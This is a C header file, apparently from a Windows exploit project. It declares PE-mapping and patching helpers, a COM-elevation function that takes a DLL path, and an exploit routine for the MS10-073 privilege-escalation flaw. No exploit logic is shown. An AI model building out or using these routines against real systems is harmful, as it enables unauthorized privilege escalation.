#ifndef _EXPLOIT_H_
#define _EXPLOIT_H_

#define _DEBUG

#ifdef _DEBUG
VOID DbgPrint(PCHAR pcFormat,...);
#else
#define DbgPrint(...)
#endif

#define NT_SUCCESS(Status)				((LONG)(Status) >= 0)
#define InitializeObjectAttributes( p, n, a, r, s ) {   \
    (p)->uLength = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->hRootDirectory = r;                             \
    (p)->uAttributes = a;                                \
    (p)->pObjectName = n;                                \
    (p)->pSecurityDescriptor = s;                        \
    (p)->pSecurityQualityOfService = NULL;               \
}

PVOID MapBinary(LPCSTR lpPath,DWORD dwFileAccess,DWORD dwFileFlags,DWORD dwPageAccess,DWORD dwMapAccess,PDWORD pdwSize);
VOID FixDWORD(BYTE *Data,DWORD Size,DWORD Old,DWORD New);
DWORD RvaToOffset(PIMAGE_NT_HEADERS pPE,DWORD dwRva);

BOOL ComElevation(LPCSTR lpDllPath);
BOOL ExploitMS10_073();

extern BOOL bKernelCode;

#endif //_EXPLOIT_H_
